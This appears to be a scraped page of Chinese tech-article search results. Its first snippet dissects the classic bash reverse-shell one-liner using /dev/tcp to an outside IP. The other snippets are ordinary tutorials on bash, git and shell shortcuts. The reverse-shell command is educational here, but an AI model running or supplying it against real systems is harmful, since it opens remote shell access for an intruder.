首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

深入bash反弹shell的那条命令

想年后回广东,最近某次面试被虐了,说我研究东西不够深入,哎写点东西吧,虽然面的是二进制,但是电话面试面了近两小时,什么都可能聊到啦,所以这个是面试的一个点 其实以前我会斟酌每个细节,比如之前写的《通过sqli-labs...对于bash反弹shell这条命令,相信很多同学都很熟悉了: /bin/bash -i >& /dev/tcp/192.168.21.1/XXX 0>&1 但是这里面的每个细节是否都清楚了,这可就不一定了...首先-i是交互的模式,这个好像是必须的,但是真的吗,其实不用-i也是可以的 因为本来bash就是交互式的吧 关于>& root@kali:~# man bash | grep "Redirecting...看bash的文档,可以看到,这个是将标准输出和标准错误都重定向了 跟 >word 2>&1的效果是一致的 当然我们用&>也是可以的 关于0>&1 0>1是将标准输入重定向到文件名为1的文件,不存在就创建...的ip这么多,端口是1-65535,这是多么庞大的一个组合 那么这是可能只是bash的特性,我们可以从man文档中看到 root@instance-2:~# man bash | grep "/dev/

6400
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    kali linux下的常用bash命令

    虚拟机版本默认用户root 密码toor ls:显示当前目录包含的文件及文件夹 ls -l:以常规格式显示当前目录包含的文件及文件夹(开头字母解释:d:目录 -:文件 c:设备文件 l:链接 b:块设备...-v表示排除 awk '{print $5}输出第五列 cut -d':' -f 1 以:分隔并输出第一部分 sort:排序 uniq:相同的只输出一个 >:写入文件 >>:写入文件且不覆盖,接着写...,打印到控制台 vi:vim的简称,一个非常复杂的命令模式下的文件编辑器,直接在vi后加要编辑的文件名,基本用法:输入 :后输入命令,set nu可以显示行号,:wq保存并退出,i 插入状态,a添加状态...,可以编辑文本,通过方向键移动光标修改内容,修改后按esc退出到命令模式,可以继续输入:wq!...管道符: | 后面可以添加执行前面命令的条件 &按顺序执行两个相连的命令 && 前面执行成功才执行后面命令 || 前面执行不成功才执行后面

    1.8K40

    每个 Linux 用户都应该知道的 5 个简单的 Bash 历史技巧

    无论您是bash 初学者还是专家,如果不使用超级有用的 bash 历史记录功能,您将无法继续在命令行中工作。...您可能已经知道,如果您在 Linux 终端中使用向上或向下箭头键,您可以查看之前运行的命令。 这要归功于bash history 命令。...1.查看您的 bash 历史记录 查看您之前键入的命令的最简单方法是使用命令历史记录。 history 它将显示存储在您的历史记录中的一百甚至一千条命令,大小取决于 HISTSIZE 变量。...[202204121021201.png] 如果您没有找到该命令,请更改您的搜索字符串或按ctrl+g退出反向搜索。 4.重用历史中先前命令的参数 这是另一个你可以用 bash 历史做的很酷的事情。...您应该在 bashrc 文件中设置该变量,以便每次使用 bash shell 时都设置该变量。 您的 bash 历史记录中的命令太多?

    51530

    Linux 操作系统下的bash read命令

    Linux read命令用于从标准输入读取数值。 read 内部命令被用来从标准输入读取单行数据。这个命令可以用来读取键盘输入,当使用重定向的时候,可以读取文件中的一行数据。...Bash附带了许多内置命令,您可以在命令行或Shell脚本中使用它们。 在本文中,我们将探讨内置的read命令。...bash内置read命令 read是bash内置命令,可从标准输入(或文件描述符)中读取一行并将该行拆分为单词。 第一个单词分配给名字,第二个单词分配给名字,依此类推。...该命令将等待用户输入。 输入两个单词并按“ Enter”。 read var1 var2 单词被分配给作为参数传递给read命令的名称。...提示字串 编写交互式bash脚本时,可以使用read命令获取用户输入。 要指定提示字符串,请使用-p选项。 该提示会在执行read之前打印出来,并且不包含换行符。

    2.4K40

    • • ​​​​ 目录​ • shell命令概述 • 获得命令帮助 • Linux命令行的格式 • 文件和目录管理 • Bash的命令历史 • Bash的命令别名 • 重定向 • vim文本编辑器

    n:执行历史记录中的第n条命令 Bash的命令别名 命令别名 为使用频率较高的复杂命令行设置简短的调用名称 查看命令别名 格式:alias [别名] 设置命令别名 执行:alias...: 维护Linux系统中的各种配置文件 编写shell脚本 vim编辑器的工作模式 三种工作模式:命令模式、输入模式、末行模式 1)命令模式:启动vi编辑器后默认进入命令模式,该模式中主要完成如光标移动...: 维护Linux系统中的各种配置文件 编写shell脚本 vim编辑器的工作模式 三种工作模式:命令模式、输入模式、末行模式 1)命令模式:启动vi编辑器后默认进入命令模式,该模式中主要完成如光标移动...: 维护Linux系统中的各种配置文件 编写shell脚本 vim编辑器的工作模式 三种工作模式:命令模式、输入模式、末行模式 1)命令模式:启动vi编辑器后默认进入命令模式,该模式中主要完成如光标移动...: 维护Linux系统中的各种配置文件 编写shell脚本 vim编辑器的工作模式 三种工作模式:命令模式、输入模式、末行模式 1)命令模式:启动vi编辑器后默认进入命令模式,该模式中主要完成如光标移动

    1.4K40

    每个 Tester 都应该知道的 Git 命令

    本文是一个 Git 速查表,包含了可能每天使用的最常见的 Git 命令。 如果你是与开发人员一起工作的测试人员,你更应该熟悉基本的 Git 命令。...Git 暂存区文件 要往暂存区添加文件,可以使用 git add 命令。可以暂存单个文件: git add foo.js 或一次添加所有文件: git add ....你总是可以在推送之前合并你的提交。在提交之前,需要将文件添加到暂存区。 commit 命令需要指定 -m 选项。...您可以像这样提交: git commit-m “更新内容描述” 撤消提交 以下命令将撤消您最近的提交,并将这些更改放回暂存区,这样您就不会丢失任何内容: git reset --soft HEAD~1...git pull Git 合并和变基 当运行 git merge时,HEAD 分支将生成一个新的提交,保留每个提交历史。

    1.7K20

    bash 中冷门但非常有用的命令: trap

    trap 属于bash的内置命令,所以查看帮助用: help trap, 如果用”man trap“则会跳出bash的帮助文档; trap命令的作用是:对捕获到的SIGNAL ,改变原有的处理action...‘echo -e "\nCTRL_C PRESSED"’这个命令,最终输出echo命令执行的结果, 但是我们同时看到有"^C" 这个符号的输出又是怎么回事呢?...而trap只是对其父进程起作用,而对父进程的子进程并不起作用,而B进程(sleep)属于A的父进程的子进程;所以trap命令无法对sleep命令的SIGINT起作用; 而如果把着两条命令放到一个脚本中...,则会起作用,因为当运行脚本的时候, 按下ctrl+c触发的SIGINT信号被发送到了bash脚本对应的进程,而trap作为脚本中的一条命令,它本身是脚本的子进程,所以其父进程就是脚本进程;因此trap...的值为5. #!/bin/bash trap "exit 5" SIGINT sleep 100 D.

    5.4K41

    Linux shell 程序设计2——bash的内置命令

    常用的内置命令忽略,来看看shell编程中其他一些重要的内置命令: 1、help:显示所有内置命令列表,或显示一个具体命令的用法。.../bin/bash a=31 保存退出后回到终端,修改a_var.sh的权限并输入命令: ....$a 其输出结果为: 31 第一种方式执行a_var.sh,bash会创建一个shell去执行,当子shell执行完成后,它的变量a会被系统收回。.../.bash_history HISTFILESIZE:设置历史命令文件命令的最大个数,超过这个个数,序号在前的命令记录就会被删除 HISTSIZE:设置终端中交互式命令的历史记录个数。...例如: set -C touch a.c echo adfad > a.c 提示出错: bash: a.c:无法覆盖已经存在的文件 但当我们追加内容时不会提示出错: echo adfasf >>

    1.4K60

    每个程序员必学的10个Git命令

    1.git配置 git config是你必须知道的基本 Git 命令之一。该命令有助于设置电子邮件、用户名、文件格式、首选文件算法和许多其他属性的配置值。...该命令有助于添加准备提交到远程存储库的未跟踪文件。使用“git add”命令的示例如下。 $ git add myfile 此命令会将 myfile 添加到暂存区。...5.git分支 “git branch”是 Git 初学者命令中值得一提的。“分支”命令可帮助您创建、删除和列出分支。 这个命令有一些重要的选项: . -v -a提供有关所有分支的更多信息。...使用该命令的示例如下 $ git diff 9.git 状态 ' git status '命令可以帮助显示索引中文件和工作目录中文件的状态。该命令将轻松列出未跟踪、修改和暂存的文件。...日志 “ git log ”命令列出了项目中曾经发生的每一次提交,以查看随着时间的推移发生了什么变化,以及有关提交如何完成的其他一些信息。

    45800

    Bash 通过上下键更有效的查找历史命令

    我们知道在 bash 里,可以通过 “上下” 键来浏览最近执行过的命令历史纪录(history),我们也知道如果历史纪录太多的话可以通过 ctrl+r 来查找命令或者通过 history 命令来浏览历史命令...我们不知道的是(也许只有本人不知道~),还有一种神奇的办法可以更准确、有效的在历史命令纪录中查找自己想要的命令。...在自己的用户主目录(home directory)新建一个 .inputrc 文件: $ vi ~/.inputrc "\e[A": history-search-backward "\e[B": history-search-forward...set show-all-if-ambiguous on set completion-ignore-case on 退出 bash 后重新登陆,敲打一个字母或者几个字母,然后 “上下” 键,就会看到以这个字母搜索到的完整命令行...如果搜索到几个类似命令,通过上下键来切换,有点像 ctrl+r,但是更好用。

    1.5K20

    在Bash命令中展开单引号内的变量?

    问题 我想从一个 bash 脚本中运行一个包含单引号且单引号内有其他命令和一个变量的命令。 例如:repo forall -c '.......$variable "'" 如果我将变量的值直接替换进去,命令就能正常执行。 请告诉我哪里出了错。 回答 在单引号内,所有内容都会被原样保留,无一例外。...'before'"$variable"'after' 'before'"'"'after' 'before'\''after' 简单地通过并列放置来完成单词连接。...不要拼接由 Shell 解析的字符串 你应绝对避免通过拼接变量来构建 Shell 命令。这和 SQL 片段的拼接(导致 SQL 注入)一样是个坏主意!...通常情况下,可以在命令中设置占位符,并将命令与变量一起提供,以便调用者能从调用参数列表中接收它们 例如,以下做法非常不安全。

    14910

    linux中设置记录每个执行命令的时间

    默认情况下,执行的所有命令 的Bash 命令存储在 ~/.bash_history、系统管理员可以查看系统上用户执行的命令列表。默认不显示命令的执行时间。...'/^tcp/ {print $5}' | awk -F: '{print $1}' | sort 981 echo $RANDOM|md5sum|cut -c 1-5 有两种可以记录历史执行命令的时间...临时设置,重启后失效 设置 HISTTIMEFORMAT 临时变量 > export HISTTIMEFORMAT='%F %T' 在上面的导出命令中,时间戳格式: %F – %Y-%m-%d(年-...但是,如果想永久配置此变量,请编辑~/.bashrc文件: > vi ~/.bashrc 并在其中添加以下行 export HISTTIMEFORMAT='%F %T' 保存文件并退出,然后运行以下命令生效...: > source ~/.bashrc 相关文章 linux之history命令 linux之history使用技巧

    2.6K30

    【linux命令讲解大全】195.Bash 命令解析:declare 的用法和功能详解

    -p 显示每个名称的属性和值。 *设置属性的选项: -a 创建数组(如果支持)。 -A 创建关联数组(如果支持)。 -i 增加整型属性。 +i 删除整型属性。...建议函数内使用local命令,函数外使用declare命令。 不要在脚本中定义过多的全局变量,那样可能会被其他函数调用造成意料之外的后果,并且也不方便检查出来。...关于异常情况 有多种原因导致declare失败,关于这些情况可以参考bash在线文档declare部分(最新版),或执行info bash查看declare部分最后一大串an attempt is开头的句子...注意 该命令是bash内建命令,相关的帮助信息请查看help命令。 导出属性的相关介绍请查看’export’命令。 只读属性的相关介绍请查看’readonly’命令。...引用属性的相关介绍请查看’unset’命令的例子部分。

    23710

    完成北上广BGP网络覆盖 互联港湾的IDC云化之道

    传统的IDC业务目前还尚能解决像互联港湾这样的公司的温饱问题,但是想保持公司的可持续发展,寻找新的业务增长点就是迫在眉睫的任务。...“在完成三地的BGP网络布局后,我们敢承诺客户将全部业务以分布式的方式放到我们的数据中心里。我们可以有效规避运营商网络、链路、设备和人员等方面的风险。”任志远表示。...举例来说,互联港湾目前在北京拥有5个数据中心,共10个节点,每个节点都是双链路,设备也是全冗余的。...所以,互联港湾采用的是与行业内的合作伙伴成立合资公司的方式进行紧密合作。 任志远举了一个制造业的例子。互联港湾在制造业选定的这家合作伙伴服务的客户超过1万家。...有业内人士预测,未来三年内,整个IDC行业会基本完成云化。 IDC云化代表了一种趋势。IDC企业积极向云领域拓展业务的同时,一些云服务商也在积极向IDC行业靠拢,从而出现了双向融合的一种态势。

    70130

    bash 和 zsh 命令行终端中的快捷键

    bash 和 zsh 命令行终端都非常流行,后者尤为“精妙”。...这两个终端的关键命令很相似,而对于经常使用它们的人来说,了解这些省时省力的快捷键命令 -- 大部分是用来对当前命令行进行快速导航或编辑的,将会事半功倍。...比如: 使用 [Ctrl][K] 可以清除光标之后当前行中的字符 [Ctrl][U] 在 bash 和 zsh 则有所区别,前者会清除光标之前的字符,而后者则会清除整行 要清除光标之前的一个单词,使用...[Ctrl][W] 要撤销之前的若干次 [Ctrl][W],使用 [Ctrl][Y] 也可以使用 [Ctrl][R] 快速搜索历史,按下这个快捷键后,你将得到一个可以上下选择的历史命令列表,以及一个进一步筛选的光标输入位置...若在光标位置输入你想搜寻的命令,比如 ssh,则历史列表被过滤为只匹配 ssh 的结果;此时再次按下 [Ctrl][R] 则列表恢复为所有历史命令。

    2.5K10
    领券